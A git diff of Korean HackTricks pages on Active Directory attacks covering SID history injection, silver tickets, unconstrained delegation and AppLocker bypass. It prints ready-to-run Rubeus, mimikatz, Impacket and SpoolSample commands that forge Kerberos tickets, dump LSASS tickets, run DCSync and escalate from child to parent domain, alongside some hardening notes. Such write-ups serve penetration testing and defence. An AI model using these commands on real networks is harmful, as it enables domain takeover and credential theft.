- **`KDC_ERR_ETYPE_NOTSUPP`**: 이는 kerberos가 DES 또는 RC4를 사용하지 않도록 구성되어 있으며, RC4 해시만 제공하고 있음을 의미합니다. Rubeus에 최소한 AES256 해시(또는 rc4, aes128 및 aes256 해시를 모두 제공)를 제공하십시오. 예: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KDC_ERR_ETYPE_NOTSUPP`**: 이는 kerberos가 DES 또는 RC4를 사용하지 않도록 구성되어 있으며, RC4 해시만 제공하고 있음을 의미합니다. Rubeus에 최소한 AES256 해시(또는 rc4, aes128 및 aes256 해시를 모두 제공)를 공급하세요. 예: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**: 이는 현재 컴퓨터의 시간이 DC의 시간과 다르며 kerberos가 제대로 작동하지 않음을 의미합니다.
- **`preauth_failed`**: 이는 주어진 사용자 이름 + 해시가 로그인에 실패했음을 의미합니다. 해시를 생성할 때 사용자 이름에 "$"를 넣는 것을 잊었을 수 있습니다 (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KDC_ERR_BADOPTION`**: 이는 다음을 의미할 수 있습니다:
@ -109,11 +109,12 @@ ls \\victim.domain.local\C$
- 요청한 서비스가 존재하지 않습니다 (winrm에 대한 티켓을 요청했지만 winrm이 실행되고 있지 않은 경우)
- 생성된 fakecomputer가 취약한 서버에 대한 권한을 잃었으며, 이를 다시 부여해야 합니다.
## 참고자료
## 참조
- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
{{#include ../../banners/hacktricks-training.md}}

55
src/windows-hardening/active-directory-methodology/sid-history-injection.md
View File

@ -6,16 +6,44 @@
**SID History Injection Attack**의 초점은 **도메인 간 사용자 마이그레이션**을 지원하면서 이전 도메인의 리소스에 대한 지속적인 접근을 보장하는 것입니다. 이는 **사용자의 이전 보안 식별자(SID)를 새로운 계정의 SID History에 통합함으로써** 이루어집니다. 특히, 이 과정은 상위 도메인에서 고급 권한 그룹(예: Enterprise Admins 또는 Domain Admins)의 SID를 SID History에 추가하여 무단 접근을 부여하도록 조작될 수 있습니다. 이 악용은 상위 도메인 내의 모든 리소스에 대한 접근을 부여합니다.
이 공격을 실행하는 두 가지 방법이 있습니다: **Golden Ticket** 또는 **Diamond Ticket**의 생성입니다.
이 공격을 실행하는 방법은 **Golden Ticket** 또는 **Diamond Ticket**의 생성 두 가지가 있습니다.
**"Enterprise Admins"** 그룹의 SID를 찾으려면 먼저 루트 도메인의 SID를 찾아야 합니다. 식별 후, Enterprise Admins 그룹 SID는 루트 도메인의 SID에 `-519`를 추가하여 구성할 수 있습니다. 예를 들어, 루트 도메인 SID가 `S-1-5-21-280534878-1496970234-700767426`인 경우, "Enterprise Admins" 그룹의 결과 SID는 `S-1-5-21-280534878-1496970234-700767426-519`가 됩니다.
또한 **Domain Admins** 그룹을 사용할 수도 있으며, 이는 **512**로 끝납니다.
**Domain Admins** 그룹도 사용할 수 있으며, 이는 **512**로 끝납니다.
다른 도메인의 그룹(SID, 예: "Domain Admins")을 찾는 또 다른 방법은 다음과 같습니다:
```powershell
다른 도메인의 그룹(SID, 예: "Domain Admins")을 찾는 또 다른 방법은:
```bash
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
> [!WARNING]
> SID 히스토리를 신뢰 관계에서 비활성화할 수 있으며, 이로 인해 이 공격이 실패할 수 있습니다.
다음은 [**문서**](https://technet.microsoft.com/library/cc835085.aspx)에 따른 내용입니다:
- **forest trusts에서 SIDHistory 비활성화**: netdom 도구 사용 (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`)
- **외부 trusts에 SID 필터 격리 적용**: netdom 도구 사용 (`netdom trust /domain: /quarantine:yes on the domain controller`)
- **단일 forest 내 도메인 trusts에 SID 필터링 적용**은 지원되지 않는 구성으로 인해 권장되지 않으며, 파괴적인 변경을 초래할 수 있습니다. forest 내의 도메인이 신뢰할 수 없는 경우, 해당 도메인은 forest의 구성원이 되어서는 안 됩니다. 이 경우, 신뢰할 수 있는 도메인과 신뢰할 수 없는 도메인을 별도의 forest로 분리하여 SID 필터링을 interforest trust에 적용해야 합니다.
이 우회에 대한 자세한 정보는 이 게시물을 확인하세요: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
### 다이아몬드 티켓 (Rubeus + KRBTGT-AES256)
마지막으로 이 시도를 했을 때, **`/ldap`** 인수를 추가해야 했습니다.
```bash
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
# Or a ptt with a golden ticket
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
#e.g.
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
# You can use "Administrator" as username or any other string
```
### Golden Ticket (Mimikatz) with KRBTGT-AES256
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
@ -33,22 +61,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
```
더 많은 정보는 golden tickets에 대해 확인하세요:
골든 티켓에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
golden-ticket.md
{{#endref}}
### 다이아몬드 티켓 (Rubeus + KRBTGT-AES256)
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
```
다이아몬드 티켓에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
@ -71,7 +90,7 @@ schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTE
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
공격으로 획득한 권한을 사용하여 새 도메인에서 예를 들어 DCSync 공격을 실행할 수 있습니다:
획득한 권한으로 공격자는 새로운 도메인에서 예를 들어 DCSync 공격을 실행할 수 있습니다:
{{#ref}}
dcsync.md
@ -101,7 +120,7 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
```
#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
이것은 **자식 도메인에서 부모 도메인으로의 상승을 자동화하는** Impacket 스크립트입니다. 스크립트는 다음이 필요합니다:
이것은 **자식 도메인에서 부모 도메인으로의 상승을 자동화하는** Impacket 스크립트입니다. 스크립트에는 다음이 필요합니다:
- 대상 도메인 컨트롤러
- 자식 도메인의 관리자 사용자에 대한 자격 증명
@ -109,7 +128,7 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
흐름은 다음과 같습니다:
- 부모 도메인의 Enterprise Admins 그룹에 대한 SID를 얻습니다.
- 자식 도메인의 KRBTGT 계정에 대한 해시를 검색합니다.
- 자식 도메인의 KRBTGT 계정 해시를 검색합니다.
- Golden Ticket을 생성합니다.
- 부모 도메인에 로그인합니다.
- 부모 도메인의 Administrator 계정에 대한 자격 증명을 검색합니다.
@ -117,7 +136,7 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
## 참고 문헌
## References
- [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
- [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)

43
src/windows-hardening/active-directory-methodology/silver-ticket.md
View File

@ -2,12 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
## Silver ticket
**Silver Ticket** 공격은 Active Directory (AD) 환경에서 서비스 티켓을 악용하는 것입니다. 이 방법은 **서비스 계정의 NTLM 해시를 획득하는 것**에 의존하여 티켓 부여 서비스(TGS) 티켓을 위조합니다. 이 위조된 티켓을 사용하여 공격자는 네트워크의 특정 서비스에 접근할 수 있으며, **임의의 사용자를 가장할 수 있습니다**, 일반적으로 관리 권한을 목표로 합니다. 티켓을 위조할 때 AES 키를 사용하는 것이 더 안전하고 덜 탐지된다는 점이 강조됩니다.
> [!WARNING]
> Silver Tickets는 서비스 계정의 **해시**만 필요하므로 Golden Tickets보다 덜 탐지됩니다. 그러나 특정 서비스에 한정됩니다. 또한, 사용자의 비밀번호를 훔치는 것만으로도 가능합니다.
또한, **SPN**이 있는 계정의 비밀번호를 탈취하면 해당 비밀번호를 사용하여 그 서비스에 대해 임의의 사용자를 가장하는 Silver Ticket을 생성할 수 있습니다.
티켓 제작을 위해 운영 체제에 따라 다양한 도구가 사용됩니다:
### On Linux
@ -18,6 +20,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### 윈도우에서
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
@ -35,15 +42,15 @@ CIFS 서비스는 피해자의 파일 시스템에 접근하기 위한 일반적
| 서비스 유형 | 서비스 실버 티켓 |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell 원격 관리 | <p>HOST</p><p>HTTP</p><p>운영 체제에 따라:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>경우에 따라: WINRM 요청 가능</p> |
| PowerShell 원격 제어 | <p>HOST</p><p>HTTP</p><p>운영 체제에 따라:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>경우에 따라 WINRM을 요청할 수 있습니다.</p> |
| 예약된 작업 | HOST |
| Windows 파일 공유, 또한 psexec | CIFS |
| LDAP 작업, DCSync 포함 | LDAP |
| Windows 원격 서버 관리 도구 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| 골든 티켓 | krbtgt |
**Rubeus**를 사용하여 다음 매개변수를 사용하여 **모든** 티켓을 **요청할 수** 있습니다:
**Rubeus**를 사용하여 다음 매개변수를 사용하여 **모든** 티켓을 **요청할 수 있습니다**:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
@ -53,13 +60,17 @@ CIFS 서비스는 피해자의 파일 시스템에 접근하기 위한 일반적
- 4634: 계정 로그오프
- 4672: 관리자 로그인
## 지속성
기계가 30일마다 비밀번호를 변경하지 않도록 하려면 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`을 설정하거나 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge`를 30일보다 큰 값으로 설정하여 기계 비밀번호가 변경되어야 하는 회전 주기를 나타낼 수 있습니다.
## 서비스 티켓 악용
다음 예제에서는 티켓이 관리자 계정을 가장하여 검색되었다고 가정해 보겠습니다.
다음 예제에서는 티켓이 관리자 계정을 가장하여 검색된다고 가정해 보겠습니다.
### CIFS
이 티켓을 사용하면 `C$` 및 `ADMIN$` 폴더에 **SMB**를 통해 접근할 수 있으며(노출된 경우) 원격 파일 시스템의 일부에 파일을 복사할 수 있습니다.
이 티켓을 사용하면 **SMB**를 통해 `C$` 및 `ADMIN$` 폴더에 접근할 수 있으며, 노출된 경우 원격 파일 시스템의 일부에 파일을 복사할 수 있습니다.
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
@ -105,7 +116,7 @@ wmic remote.computer.local list full /format:list
### HOST + WSMAN (WINRM)
winrm을 통해 컴퓨터에 접근하면 **접근할 수** 있으며, PowerShell도 얻을 수 있습니다:
winrm을 통해 컴퓨터에 접근하면 **접근할 수** 있으며, PowerShell을 얻을 수도 있습니다:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
@ -116,7 +127,7 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
{{#endref}}
> [!WARNING]
> 원격 컴퓨터에서 **winrm이 활성화되어 있고 수신 대기 중이어야** 액세스할 수 있습니다.
> 원격 컴퓨터에서 **winrm이 활성화되어 있고 수신 대기 중이어야** 접근할 수 있습니다.
### LDAP
@ -124,17 +135,19 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**DCSync에 대해 더 알아보기** 다음 페이지에서:
## 참고문헌
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
**DCSync에 대해 더 알아보기**는 다음 페이지에서 확인하세요:
{{#ref}}
dcsync.md
{{#endref}}
## 참고자료
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
{{#include ../../banners/hacktricks-training.md}}

43
src/windows-hardening/active-directory-methodology/unconstrained-delegation.md
View File

@ -6,40 +6,47 @@
이것은 도메인 관리자가 도메인 내의 모든 **컴퓨터**에 설정할 수 있는 기능입니다. 그런 다음, 사용자가 컴퓨터에 로그인할 때마다 해당 사용자의 **TGT 복사본**이 DC에서 제공하는 **TGS 내로 전송되고 LSASS의 메모리에 저장됩니다**. 따라서 해당 머신에서 관리자 권한이 있는 경우, **티켓을 덤프하고 사용자를 가장할 수 있습니다**.
따라서 도메인 관리자가 "Unconstrained Delegation" 기능이 활성화된 컴퓨터에 로그인하고 해당 머신에서 로컬 관리자 권한이 있는 경우, 티켓을 덤프하고 도메인 관리자를 어디서든 가장할 수 있습니다(도메인 권한 상승).
따라서 도메인 관리자가 "Unconstrained Delegation" 기능이 활성화된 컴퓨터에 로그인하고, 해당 머신에서 로컬 관리자 권한이 있는 경우, 티켓을 덤프하고 도메인 관리자를 어디서든 가장할 수 있습니다(도메인 권한 상승).
이 속성을 가진 컴퓨터 객체를 **찾으려면** [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) 속성이 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)를 포함하는지 확인하십시오. 이는 ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’의 LDAP 필터로 수행할 수 있으며, 이는 powerview가 수행하는 것입니다:
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
이 속성을 가진 컴퓨터 객체를 **찾으려면** [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) 속성이 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)를 포함하는지 확인하면 됩니다. 이는 LDAP 필터 ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’를 사용하여 수행할 수 있으며, 이는 powerview가 수행하는 작업입니다:
```bash
# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
<strong>## ADSearch
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Export tickets with Mimikatz
</strong>privilege::debug
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer –Unconstrained –Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
**Mimikatz** 또는 **Rubeus**를 사용하여 메모리에 관리자(또는 피해자 사용자)의 티켓을 로드하여 **[Pass the Ticket](pass-the-ticket.md)** 공격을 수행하십시오.\
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
```
관리자(또는 피해자 사용자)의 티켓을 메모리에 로드합니다 **Mimikatz** 또는 **Rubeus**를 사용하여 [**Pass the Ticket**](pass-the-ticket.md)**.**\
자세한 정보: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**Unconstrained delegation에 대한 추가 정보는 ired.team에서 확인하십시오.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
[**ired.team의 Unconstrained delegation에 대한 추가 정보.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **Force Authentication**
### **강제 인증**
공격자가 "Unconstrained Delegation"이 허용된 컴퓨터를 **타겟으로 삼을 수 있다면**, 그는 **프린트 서버**를 **속여서** **자동으로 로그인**하게 하여 서버의 메모리에 **TGT를 저장**할 수 있습니다.\
그런 다음 공격자는 사용자 프린트 서버 컴퓨터 계정을 가장하기 위해 **Pass the Ticket 공격을 수행할 수 있습니다**.
공격자가 "Unconstrained Delegation"이 허용된 컴퓨터를 **타락**시킬 수 있다면, 그는 **Print server**를 **속여서 자동으로 로그인**하게 할 수 있으며, 이로 인해 **서버의 메모리에 TGT를 저장**할 수 있습니다.\
그런 다음, 공격자는 사용자 Print server 컴퓨터 계정을 가장하기 위해 **Pass the Ticket 공격**을 수행할 수 있습니다.
프린트 서버가 어떤 머신에 로그인하도록 하려면 [**SpoolSample**](https://github.com/leechristensen/SpoolSample)을 사용할 수 있습니다:
프린트 서버가 어떤 머신에 대해 로그인하도록 하려면 [**SpoolSample**](https://github.com/leechristensen/SpoolSample)을 사용할 수 있습니다:
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
TGT가 도메인 컨트롤러에서 온 경우, [**DCSync attack**](acl-persistence-abuse/index.html#dcsync)를 수행하여 DC의 모든 해시를 얻을 수 있습니다.\
[**이 공격에 대한 더 많은 정보는 ired.team에서 확인하세요.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**인증을 강제로 시도할 수 있는 다른 방법은 다음과 같습니다:**
여기에서 **인증 강제화**의 다른 방법을 찾으세요:
{{#ref}}
printers-spooler-service-abuse.md

54
src/windows-hardening/authentication-credentials-uac-and-efs.md
View File

@ -6,13 +6,13 @@
애플리케이션 화이트리스트는 시스템에 존재하고 실행될 수 있는 승인된 소프트웨어 애플리케이션 또는 실행 파일의 목록입니다. 목표는 환경을 유해한 맬웨어와 특정 조직의 비즈니스 요구에 맞지 않는 승인되지 않은 소프트웨어로부터 보호하는 것입니다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)는 Microsoft의 **애플리케이션 화이트리스트 솔루션**으로, 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션 및 파일**을 제어할 수 있게 해줍니다. 이는 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지 앱 및 패키지 앱 설치 프로그램에 대한 **세부적인 제어**를 제공합니다.\
조직에서는 **cmd.exe와 PowerShell.exe** 및 특정 디렉터리에 대한 쓰기 접근을 **차단하는 것이 일반적이지만**, 이는 모두 우회될 수 있습니다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)는 Microsoft의 **애플리케이션 화이트리스트 솔루션**으로, 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션 및 파일**을 제어할 수 있게 해줍니다. 이는 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지 앱 및 패키지 앱 설치 프로그램에 대한 **세밀한 제어**를 제공합니다.\
조직에서 **cmd.exe 및 PowerShell.exe**와 특정 디렉터리에 대한 쓰기 접근을 **차단하는 것이 일반적이지만**, 이는 모두 우회될 수 있습니다.
### Check
어떤 파일/확장자가 블랙리스트/화이트리스트에 있는지 확인하십시오:
```powershell
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -34,11 +34,11 @@ C:\Windows\Tasks
C:\windows\tracing
```
- 일반적으로 **신뢰할 수 있는** [**"LOLBAS's"**](https://lolbas-project.github.io/) 바이너리는 AppLocker를 우회하는 데 유용할 수 있습니다.
- **잘못 작성된 규칙은 우회될 수 있습니다.**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`**라는 **폴더를 생성하면** 허용됩니다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** 실행 파일을 **차단하는 데** 집중하지만, **다른** [**PowerShell 실행 파일 위치**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)인 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 또는 `PowerShell_ISE.exe`를 잊어버립니다.
- **DLL 강제 적용은 시스템에 추가 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **백도어로서 DLL을 사용하는 것이 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용하여 **Powershell** 코드를 어떤 프로세스에서든 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- **잘못 작성된 규칙도 우회될 수 있습니다.**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`라는 폴더를 생성하면** 허용됩니다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 실행 파일을 차단하는 데 집중하지만**, **다른** [**PowerShell 실행 파일 위치**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)인 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 또는 `PowerShell_ISE.exe`를 잊어버립니다.
- **DLL 강제 적용은 시스템에 추가적인 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **백도어로서 DLL을 사용하는 것이 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용하여 **Powershell** 코드를 어떤 프로세스에서든 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## 자격 증명 저장소
@ -48,11 +48,11 @@ C:\windows\tracing
### 로컬 보안 권한 (LSA) - LSASS
**자격 증명**(해시 처리됨)은 **단일 로그인** 이유로 이 하위 시스템의 **메모리**에 **저장됩니다**.\
**자격 증명**(해시 처리됨)은 **단일 로그인** 이유로 이 하위 시스템의 **메모리**에 **저장**됩니다.\
**LSA**는 로컬 **보안 정책**(비밀번호 정책, 사용자 권한 등), **인증**, **액세스 토큰** 등을 관리합니다.\
LSA는 **SAM** 파일 내에서 제공된 자격 증명을 **확인**하고 도메인 사용자를 인증하기 위해 **도메인 컨트롤러**와 **통신**합니다.
**자격 증명**은 **프로세스 LSASS** 내에 **저장됩니다**: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화된 비밀번호.
**자격 증명**은 **프로세스 LSASS** 내에 **저장**됩니다: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화된 비밀번호.
### LSA 비밀
@ -69,7 +69,7 @@ Active Directory의 데이터베이스입니다. 도메인 컨트롤러에만
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용할 수 있는 안티바이러스입니다. **일반적인** 펜테스팅 도구인 **`WinPEAS`**를 **차단합니다**. 그러나 이러한 보호를 **우회하는 방법이 있습니다.**
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용할 수 있는 안티바이러스입니다. **일반적인 펜테스팅 도구인 **`WinPEAS`**를 차단합니다. 그러나 이러한 보호를 **우회하는 방법이 있습니다.**
### 확인
@ -103,12 +103,12 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때, 사용자의 디지털 인증서에 해당하는 **개인 키**를 사용하여 $EFS 스트림에서 FEK를 복호화합니다. 더 많은 세부정보는 [여기](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인할 수 있습니다.
EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때는 사용자의 디지털 인증서의 해당 **개인 키**를 사용하여 $EFS 스트림에서 FEK를 복호화합니다. 더 많은 세부정보는 [여기](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인할 수 있습니다.
**사용자 개입 없이 복호화되는 시나리오**는 다음과 같습니다:
- 파일이나 폴더가 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)와 같은 비 EFS 파일 시스템으로 이동될 때, 자동으로 복호화됩니다.
- SMB/CIFS 프로토콜을 통해 네트워크로 전송된 암호화된 파일은 전송 전에 복호화됩니다.
